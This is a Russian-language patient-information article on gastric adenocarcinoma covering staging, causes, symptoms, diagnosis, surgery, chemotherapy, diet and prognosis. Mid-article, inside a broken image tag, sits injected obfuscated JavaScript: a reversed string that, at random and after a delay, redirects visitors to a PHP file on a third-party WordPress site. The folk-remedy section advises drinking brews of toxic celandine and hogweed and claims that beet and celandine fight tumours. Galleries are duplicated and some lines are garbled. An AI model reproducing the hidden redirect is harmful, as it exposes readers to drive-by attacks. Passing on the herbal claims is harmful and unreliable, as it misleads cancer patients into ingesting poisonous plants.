Онкологические заболевания опасны длительными периодами, протекающими бессимптомно. Не относится к исключениям и аденокарцинома желудка. Что делать пациенту, столкнувшемуся лицом к лицу с раковой опухолью?
Содержание
Что такое аденокарцинома желудка
Аденокарцинома желудка — распространённая патология онкологического характера. Опухоль состоит из тканей слизистой оболочки органа. Под влиянием нескольких причин разрушается защитный слой, в результате чего здоровые клетки перерождаются в раковые образования.
Аденокарцинома встречается в 95% случаев развития рака желудка.
Патология встречается у представителей мужского пола чаще, чем у женщин. Опухоль может формироваться длительное время — от 1 года до 15–20 лет. Новообразование чаще проявляется после 45 лет.
Аденокарциному желудка часто называют железистым раком.
Классификация заболевания: папиллярная, перстневидная, низкодифференцированная, высокодифференцированная и другие формы патологии
По характеру развития и виду выделяют следующие новообразования:
- изъязвленная карцинома — образование похоже на язву, имеет чёткие и приподнятые края;
- скирр (диффузно-инфильтративный рак) – рано даёт метастазы, патология поражает стенку органа на большой площади;
- полиплоидный рак — обладает чёткими границами, внешне похож на полип желудка;
- частично изъявленная карцинома — отчасти проникает в глубокие слои органа, рано возникают метастазы.
Важна и степень дифференцирования — чем ниже показатель, тем опаснее новообразование. Выделяют следующие формы в представленной классификации:
- низкодифференцированная (малодифференцированная или низкодиференциальная) – прогнозы неблагоприятные, патология пробивается в стенку органа;
- умеренно дифференцированная;
- высокодифференцированная (или высокодефферентная) — протекает благоприятно.
Исходя из гистологической картины выделяют следующие типы аденокарциномы:
- недифференцированный;
- сквамозный (плоскоклеточный рак);
- тубулярный;
- муцинозный;
- перстневидный, образованный из клеток, имеющих форму пузырьков;
- аденосквамозный (с признаками ороговения);
- папиллярный.
Стадии развития
Существуют следующие стадии:
- 0 — поражение затрагивает только слизистую оболочку желудка;
- 1 — опухоль затрагивает местные лимфатические узлы и прорастает в слизистую;
- 2 — аденокарцинома поражает регионарные лимфатические узлы и прорастает до мышечной оболочки органа;
- 3 — заболевание поражает все оболочки, а также регионарные и отдалённые узлы лимфатической системы;
- 4 — наблюдаются метастазы в другие органы.
Для разделения аденокарциномы желудка используется TNM классификация.
Для определения стадии заболевания используется международная система TNM, где T (тumour) обозначает цифрами от 1 до 4 размер и степень распространённости новообразования, N (node) – цифрами от 0 до 3 — наличие метастазов в регионарных лимфоузлах, M (мetastasis) – наличие отдалённых метастазов в других органах (цифрами 0 или 1).
Определение стадий аденокарциномы желудка по системе TNM — таблица
| Стадия | Формула TNM | |
| I | T1N0M0, T1N1M0, T2N0M0 | |
| II | II а | T1N2M0, T2N1M0, T3N0M0 |
| II b | T1N3M0, T2N2M0, T3N1M0, T4aN0M0 | |
| III | III а | T2N3M0, T3N2M0, T4aN1M0 |
| III b | T3N3M0, T4aN2M0, T4bN0–1M0 | |
| III с | T4aN3M0, T4bN1–2M0 | |
| IV | T — любое значение, N — любое значение, M1 | |
Причины возникновения
Главная причина образования аденокарциномы — перерождение клеток железистого эпителия из-за ухудшения питания стенок желудка, сбоя кровоснабжения и угнетения секреции органа. Приводят к этому многочисленные факторы:
- неправильное питание — употребление солёной, жирной и копчёной продукции в большом количестве;
- злоупотребление диетами — приводит к уменьшению потребления пищевых волокон, а также дефициту витаминов и полезных веществ;
- вредные привычки — этиловый спирт и табачные смолы негативно влияют на состояние органа, поэтому чаще аденокарцинома обнаруживается у людей, злоупотребляющих алкоголем или имеющих большой стаж курильщика;
- Helicobacter pylori — бактерия, которая часто становится причиной образования гастрита и язвы. Длительное инфицирование приводит к повышению риска развития аденокарциномы;
- наследственность — повышается вероятность развития рака при наличии аденокарциномы у близких родственников;
- заболевания: гастрит, дисплазия эпителия желудка, полипоз, хроническая язва, дуоденогастральный рефлюкс.
Факторами риска являются возраст старше 50 лет, проживание в районе с плохой экологической обстановкой и работа на вредных предприятиях.
Как проявляет себя патология на ранних стадиях и при распаде опухоли
На начальном этапе заболевание не проявляется — в этом заключается главная опасность аденокарциномы. Незначительные изменения организма, характерные для других болезней, не заставляют больного насторожиться. Такими симптомами являются:
- постепенное уменьшение массы тела;
- слабость;
- быстрая утомляемость.
По мере развития опухоли присоединяются другие признаки:
- уменьшение аппетита;
- болезненные ощущения в животе, зависящие от приёма пищи;
- отрыжка и изжога.
На поздних этапах состояние больного ухудшается. Появляются симптомы:
- отвращение к мясу и другой белковой пище;
- анемия;
- дегтеобразный стул из-за внутренних кровоизлияний (свидетельствует о распаде опухоли);
- застой пищи в желудке;
- чувство переполненного желудка;
- увеличение слюноотделения;
- тошнота и приступы рвоты.
Необходимо учитывать, что даже на поздних стадиях патология может иметь слабовыраженный характер — это зависит от состояния пациента и типа железистого рака.
Диагностика
Для выявления аденокарциномы проводят осмотр, во время которого обнаруживают типичные симптомы. После этого назначают комплекс диагностических мероприятий, в который входят следующие методы:
- общий анализ крови — у пациента выявляют повышенное число лейкоцитов и уменьшение количества эритроцитов, что свидетельствует о воспалительном процессе и анемии;
- компьютерная томография — метод используют для исключения метастазов в другие органы;
- гастроскопия — оценивают характер изменений слизистой оболочки органа;
- анализ крови для обнаружения онкомаркеров;
- лапароскопия — обнаруживают метастазы в другие органы и определяют степень развития патологии;
- рентгеноскопия с сульфатом бария — выявляют дефект наполнения, который указывает на разрушение стенок желудка или рост аденокарциномы;
- эзофагогастродуоденоскопия с биопсией — определяют степень дифференциации;
- ультразвуковое исследование брюшной полости — обнаруживают метастазы.
Лечение аденокарциномы
Основной метод лечения аденокарциномы — хирургический. Исходя из размеров образования и его расположения применяют следующее способы вмешательства:
- гастрэктомия — удаление желудка с окружающими тканями: лимфатическими узлами, частью тонкого кишечника и пищевода;
- субтотальная резекция — удаляют часть окружающих тканей или желудка.
Если невозможно устранить аденокарциному с помощью хирургической методики, а у пациента присутствуют осложнения, то назначают следующие виды вмешательства:
- эндолюминальная лазерная терапия — применение лазера для удаления раковых клеток;
- эндолюминальное стентирование — использование стента, который вводится в желудок, поэтому больной сможет питаться сам.
Помимо операции, могут использоваться дополнительные методы:
- Иммунотерапия. Для положительного воздействия на иммунитет пациента назначают иммуномодулирующие препараты — это снизит рост распространение опухоли.
- Лучевая терапия. Методика направлена на разрушение оставшихся после операции клеток. Специальное излучение не только устраняет больные участки, но и уменьшает боль и вероятность развития кровотечения.
$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/02/ftorafur.jpg» alt=»Фторафур» width=»480″ height=»448″ /> Фторафур используют при химиотерапии длязамедления роста патологических клеток
- Химиотерапия (Цисплатин, Фторафур, Блеомицин). Применяют для уменьшения неприятных ощущений, замедления роста патологических клеток. В результате распространение метастазов снижается.
Народная медицина
Рецепты нетрадиционной медицины способны улучшить самочувствие больного. Применяют их исключительно после консультации с врачом.
При раке желудка эффективны натуральные соки. Для их приготовления необходимо:
- Пропустить через соковыжималку следующие компоненты:
- 1 картофелину;
- 100 г сельдерея;
- 300 г свёклы;
- 30 г чёрной редьки;
- 100 моркови.
- Процедить напиток и оставить на несколько минут до выпадения осадка.
Такой напиток употребляют по 0,5 л в сутки.
Полезны для больного и сборы из трав. Необходимы такие ингредиенты:
- 50 г чистотела;
- 50 г шалфея;
- 100 г корневищ пырея;
- 50 г очанки;
- 50 г корней родиолы розовой;
- 50 г борщевика.
- Смешать ингредиенты и взять сырьё в количестве 1 ст. л.
- Добавить смесь трав в термос и залить 1 л кипятка.
- Ёмкость оставить на ночь, а наутро процедить.
Средство принимают перед каждым приёмом пищи по 1 стакану (250 мл).
Галерея средств народной медицины
-
- Морковный сок — источник витамина A
-
- черная смородина
-
- Использование шалфея вместе с травяными сборами приносит облегчение больному
-
- Сельдерей эффективен при раковых опухолях желудка
-
- Гастрэктомия — полное или частичное удаление желудка
-
- Гастроскопия помогает оценить состояние желудка и изменений
-
- Язва желудка часто становится причиной образования рака
-
- стадии развития опухоли желудка
-
- Аденокарцинома желудка — опасное состояние, которое может распространиться на другие органы
-
- Жареные блюда оказывают негативное воздействие на желудок, особенно при развитии рака
-
- Копчёные изделия опасны для больного
-
- Солёную пищу исключают из меню пациента
-
- По мере увеличения стадии растёт размер опухоли и степень её прорастания в стенку желудка и соседние органы
-
- Одним из осложнений при запущенной аденокарциномеявляется перфорация желудочной стенки
-
- Фторафур используют при химиотерапии длязамедления роста патологических клеток
-
- Свёкла нейтрализует развитие опухолевых клеток
-
- Борщевик содержит в своём составе большое количество аминокислот
-
- Чистотел оказывает на организм противоопухолевое действие
-
- Чёрная редькабогата витаминами Bи С
-
- При аденокарциноме желудка нужно избегать употребления крепкого кофе
-
- Алкоголь увеличивает нагрузку на желудочно-кишечный тракт
-
- Фторафур используют при химиотерапии длязамедления роста патологических клеток
Диета для больного
Существует 3 возможных варианта диеты для людей с аденокарциномой желудка:
- Пациентам без значительных нарушений обмена веществ и с нормальной массой тела:
- энергетическая ценность — не больше 2400 ккал в день;
- белки — 90 г, из них половина — животного происхождения;
- жиры — 120 г, в том числе 30 г растительных;
- углеводы — 330 г.
- Пациентам с нарушениями выделительной функции почек и печени, а также имеющим избыточный вес:
- энергетическая ценность — не более 2650 ккал;
- жиры — 90 г, из них 30 г — растительные;
- углеводы — 400 г;
- белки — 60 г, половина — животного происхождения.
- Пациентам с низким весом и явными проблемами с обменом веществ:
- энергетическая ценность — 3600 ккал;
- белки — 140 г;
- жиры — 120 г, в том числе 40 г растительных;
- углеводы — 500 г.
Конкретные рекомендации по питанию даст врач после осмотра пациента. Калорийность рациона и соотношение БЖУ может варьироваться в зависимости от возраста больного человека и особенностей течения заболевания.
Принципы питания:
- способ приготовления — тушить, варить или запекать;
- количество приёмов пищи — 4–6 раз в сутки.
Запрещённые продукты:
- солёности и маринады;
- копчёные изделия;
- жирная и жареная пища;
- алкоголь;
- крепкий кофе;
- горячие блюда.
Полезные для пациента продукты:
- чёрная смородина;
- морская рыба;
- морковь;
- цитрусовые.
Подбирать продукты для рациона рекомендуется совместно врачом.
Запрещённые продукты — галерея
-
- Морковный сок — источник витамина A
-
- черная смородина
-
- Использование шалфея вместе с травяными сборами приносит облегчение больному
-
- Сельдерей эффективен при раковых опухолях желудка
-
- Гастрэктомия — полное или частичное удаление желудка
-
- Гастроскопия помогает оценить состояние желудка и изменений
-
- Язва желудка часто становится причиной образования рака
-
- стадии развития опухоли желудка
-
- Аденокарцинома желудка — опасное состояние, которое может распространиться на другие органы
-
- Жареные блюда оказывают негативное воздействие на желудок, особенно при развитии рака
-
- Копчёные изделия опасны для больного
-
- Солёную пищу исключают из меню пациента
-
- По мере увеличения стадии растёт размер опухоли и степень её прорастания в стенку желудка и соседние органы
-
- Одним из осложнений при запущенной аденокарциномеявляется перфорация желудочной стенки
-
- Фторафур используют при химиотерапии длязамедления роста патологических клеток
-
- Свёкла нейтрализует развитие опухолевых клеток
-
- Борщевик содержит в своём составе большое количество аминокислот
-
- Чистотел оказывает на организм противоопухолевое действие
-
- Чёрная редькабогата витаминами Bи С
-
- При аденокарциноме желудка нужно избегать употребления крепкого кофе
-
- Алкоголь увеличивает нагрузку на желудочно-кишечный тракт
-
- Фторафур используют при химиотерапии длязамедления роста патологических клеток
Прогноз лечения, выживаемость и продолжительность жизни пациентов
Прогноз выздоровления зависит от стадии развития аденокарциномы:
- начальный этап — вероятность высокая;
- 1 стадия — 60–80%;
- 2 стадия — 30–40%;
- 3 стадия — 12–20%;
- 4 стадия — менее 5%.
Стадия развития опухоли влияет на продолжительность жизни. На поздних этапах больной человек сможет прожить около 5 лет, но при преодолении обозначенного порога срок увеличивается до 10 лет — это зависит от образа жизни пациента и соблюдения рекомендаций врача.
Большое значение имеет возраст — у людей до 50 лет шансы на выздоровление выше на 10–12%, чем у пожилых пациентов.
Возможные осложнения: метастазы в другие органы, асцит и другие
Во время развития аденокарциномы могут наблюдаться следующие осложнения:
- стеноз привратника — при расположении патологии в области органа;
- метастазы в лёгкие, печень, пищевод и другие органы — нарушение их работы;
- прорастание образования в стенку желудка, повреждение крупных сосудов и перфорация желудочной стенки — частые кровотечения разной интенсивности;
является перфорация желудочной стенки - нарушение венозного кровообращения при сдавливании аденокарциномой сосудов — приводит к накоплению жидкости в брюшной полости (асцит).
Меры профилактики
Для уменьшения риска развития заболевания необходимо:
- придерживаться диеты;
- отказаться от вредных привычек;
- обращаться к врачу для обследования (не реже 1 раза в 2 года, при заболеваниях желудка — чаще);
- своевременно посещать больницу при наличии жалоб.
Что представляет собой рак желудка — видео
Аденокарцинома желудка — опасное состояние, требующее много времени и усилий для выздоровления. При своевременном обращении к врачу прогнозы благоприятны — период ремиссии увеличивается. Так как патология долго развивается без признаков, то регулярные обследования помогут вовремя выявить проблему и приступить к её устранению.
